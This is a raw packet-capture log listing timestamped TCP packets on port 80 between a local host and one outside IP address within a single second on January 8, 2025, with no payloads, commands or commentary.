Jan 8, 2025 09:42:31.130342007 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.130363941 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.159149885 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159208059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159225941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159256935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159290075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.159290075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.159334898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159347057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159354925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159365892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159406900 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.159406900 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.159444094 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159456015 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159468889 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159492016 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.159502983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159519911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159533024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159545898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.159548044 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.159574986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.159598112 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.159619093 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.187150955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187196016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187208891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187210083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.187227964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187242985 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.187262058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187263966 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.187274933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187280893 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.187289000 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187306881 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.187334061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.187716961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187727928 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187750101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187761068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187776089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187777042 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.187791109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187804937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.187805891 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.187819958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.187864065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.218786001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.218801022 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.218813896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.218826056 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.218846083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.218867064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.218873978 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.218880892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.218893051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.218909979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.218945026 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.218977928 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.218990088 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219002962 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219016075 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219027996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219038010 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219038010 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219058037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219070911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219084978 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219104052 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219109058 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219122887 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219124079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219151020 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219163895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219208002 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219221115 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219232082 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219244003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219254971 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219259024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219271898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219275951 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219319105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219319105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219348907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219362020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219373941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219386101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219423056 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219443083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219464064 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219476938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219487906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219501019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219507933 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219521999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219537020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219543934 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219551086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219561100 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219571114 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219619989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219654083 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219666958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219686031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219693899 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219700098 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219707966 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219713926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219722033 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219727039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219742060 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219752073 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219762087 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219763041 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219788074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219794989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219810009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219821930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219821930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219822884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219837904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219844103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219852924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219877005 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219877958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219893932 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.219908953 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219921112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219933033 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219945908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219958067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219969034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219980955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.219995975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220027924 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220027924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220043898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220055103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220055103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220055103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220056057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220055103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220067024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220073938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220094919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220113993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220113993 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220118999 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220132113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220135927 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220146894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220159054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220170021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220170975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220199108 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220237970 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220244884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220257044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220269918 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220283031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220295906 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220298052 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220309019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220319986 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220323086 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220338106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220364094 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220381021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220387936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220395088 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220407009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220419884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220427990 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220432997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220428944 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220447063 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220453024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220474958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220509052 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220530033 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220542908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220557928 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220571995 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220576048 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220585108 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220598936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220606089 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220606089 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220612049 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220627069 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.220654011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220654011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.220710039 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.249696016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249716997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249728918 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249777079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.249777079 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.249819994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249831915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249845028 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249859095 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249871969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249875069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.249886036 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.249913931 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.249947071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249975920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249989986 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.249999046 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.250010967 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.250051022 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.250108957 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.250119925 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.250132084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.250144005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.250154018 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.250190973 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.250215054 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.277867079 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.277879953 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.277890921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.277901888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.277921915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.277934074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.277947903 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.278070927 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.278070927 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.278121948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.278170109 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.278208017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.278220892 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.278234005 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.278240919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.278264046 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.278273106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.278273106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.278276920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.278306007 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.278331995 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.309549093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309617996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309629917 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309643984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309652090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.309652090 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.309678078 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.309684038 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.309715033 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309727907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309740067 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309751987 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309761047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.309761047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.309803963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309813023 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.309817076 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309830904 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.309859037 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.309859037 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310007095 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310019016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310030937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310060024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310060024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310075045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310076952 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310087919 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310105085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310113907 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310113907 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310128927 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310142994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310148001 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310148001 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310157061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310172081 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310184002 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310184956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310184956 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310195923 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310209036 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310221910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310223103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310223103 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310262918 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310262918 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310285091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310297012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310307980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310321093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310333014 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310344934 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310358047 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310358047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310358047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310378075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310409069 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310410976 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310424089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310470104 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310499907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310513020 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310523987 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310538054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310549021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310564041 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310566902 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310566902 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310612917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310612917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310645103 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310656071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310667992 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310693026 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310705900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310715914 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310719967 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310731888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310745955 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310759068 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310770035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310770988 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310770988 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310780048 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310786963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.310823917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.310823917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.311033010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.311045885 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.311058044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.311069965 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.311080933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.311093092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.311108112 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.311119080 CET	80	49708	176.113.115.19	192.168.2.8
